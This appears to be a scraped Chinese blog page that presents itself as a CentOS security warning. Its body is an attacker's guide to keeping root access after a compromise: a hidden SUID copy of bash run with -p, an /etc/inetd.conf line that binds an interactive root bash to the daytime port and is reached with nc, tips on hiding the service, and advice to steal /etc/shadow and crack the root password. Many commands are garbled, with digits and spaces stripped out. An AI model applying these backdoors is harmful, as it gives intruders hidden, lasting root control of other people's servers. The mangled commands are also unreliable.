位置: 编程技术 - 正文
推荐整理分享CentOS小心被suid shell与inetd后门利用的详细讲解(centos root被锁定如何取消),希望有所帮助,仅作参考,欢迎阅读内容。
文章相关热门搜索词:centos被抛弃,centos被攻击,centos 进程被killed,centos被抛弃,centos被放弃,centos 进程被killed,centos被抛弃,centos被抛弃,内容如对您有帮助,希望把文章链接给更多的朋友!
你现在已经是root用户,想留一个后门。
系统环境:
dawg:~#uname-a
Linuxdawg2.4.-1-#3SatMar::ESTiGNU/Linux
1.SUIDshell
首先,先切换成为root用户,并执行以下的命令:
dawg:~#cp/bin/bash/.wootdawg:~#chmod/.wootdawg:~#ls-al/.woot-rwsr-xr-x1rootrootJul:/.woot
当然,你也可以起其他更具备隐藏性的名字,我想猥琐并机智的你,肯定能想出很多好的名字的。文件前面的那一点也不是必要的,只是为了隐藏文件(在文件名的最前面加上“.”,就可以在任意文件目录下进行隐藏).
现在,做为一个普通用户,我们来启用这个后门:
fw@dawg:~$iduid=(fw)gid=(fw)groups=(fw)fw@dawg:~$/.woot.woot-2.b$iduid=(fw)gid=(fw)groups=(fw).woot-2.b$
为什么不行呢?
因为bash2针对suid有一些护卫的措施.但这也不是不可破的:
.woot-2.b$/.woot-p
.woot-2.b#id
uid=(fw)gid=(fw)euid=0(root)groups=(fw)
使用-p参数来获取一个rootshell.这个euid的意思是effectiveuserid(关于这些ID的知识,可以戳这里)
这里要特别注意的是,作为一个普通用户执行这个SUIDshell时,一定要使用全路径。
小知识:
如何查找那些具有SUID的文件:
dawg:~#find/-perm+-ls
这时就会返回具有SUID位的文件啦。
2.远程后门:利用/etc/inetd.conf
我们使用vi来修改/etc/inetd.conf文件
原文件:
#chargendgramudpwaitrootinternal
#discardstreamtcpnowaitrootinternal
#discarddgramudpwaitrootinternal
#daytimestreamtcpnowaitrootinternal
修改为:
#discardstreamtcpnowaitrootinternal
#discarddgramudpwaitrootinternal
daytimestreamtcpnowaitroot/bin/bashbash-i
开启inetd:
dawg:~#inetd
如果要强制重启inetd:
dawg:~#ps-ef|grepinetdrootJul?::/usr/sbin/inetdroot:pts/::grepinetddawg:~#kill-HUP
现在我们就可以用nc来爆菊了:
C:tools..1.:inversehostlookupfailed:h_errno:NO_DATA
(UNKNOWN)[..1.](daytime)open
bash:nojobcontrolinthisshell
bash-2.b#bash-2.b#
bash-2.b#iduid=0(root)
gid=0(root)groups=0(root)bash-2.b#uname-a
Linuxdawg2.4.-1-#3SatMar::ESTiGNU/Linux
小贴士:
我们可以修改/etc/services文件,加入以下的东西:
woot/tcp#evilbackdoorservice
然后修改/etc/inetd.conf:
wootstreamtcpnowaitroot/bin/bashbash-i
我们可以修改成一些常见的端口,以实现隐藏。
小编感言:其实下/etc/shadow文件,爆破root的密码才最保险啊!
CentOS下如何挂载ISO?CentOS下挂载ISO的方法 以前在Windows下经常会使用这些ISO镜像文件,我们可以用虚拟光驱来加载,可在LINUX下就没那些工具了,那在Linux下要怎么做呢?首先我们要把iso加载到一
CentOS6.5安装的UEFI-GPT回退为MBR引导详解 我自己在服务器上装了centos6.5系统,默认用的就是UEFI,没有注意可以只用GRUB,接着问题就出现了,我在服务器内安装了另外一块带grub启动系统的硬盘
CentOS如何运行与控制后台进程? 我们经常会碰到这样的问题,用ssh登录了远程的Linux服务器,运行了一些耗时较长的任务,结果却由于网络等的不稳定导致任务中途失败。这是由于在用
上一篇:centos网卡eth1如何变成eth0?centos网卡eth1变成eth0修改方法(centos7 eth)
友情链接: 武汉网站建设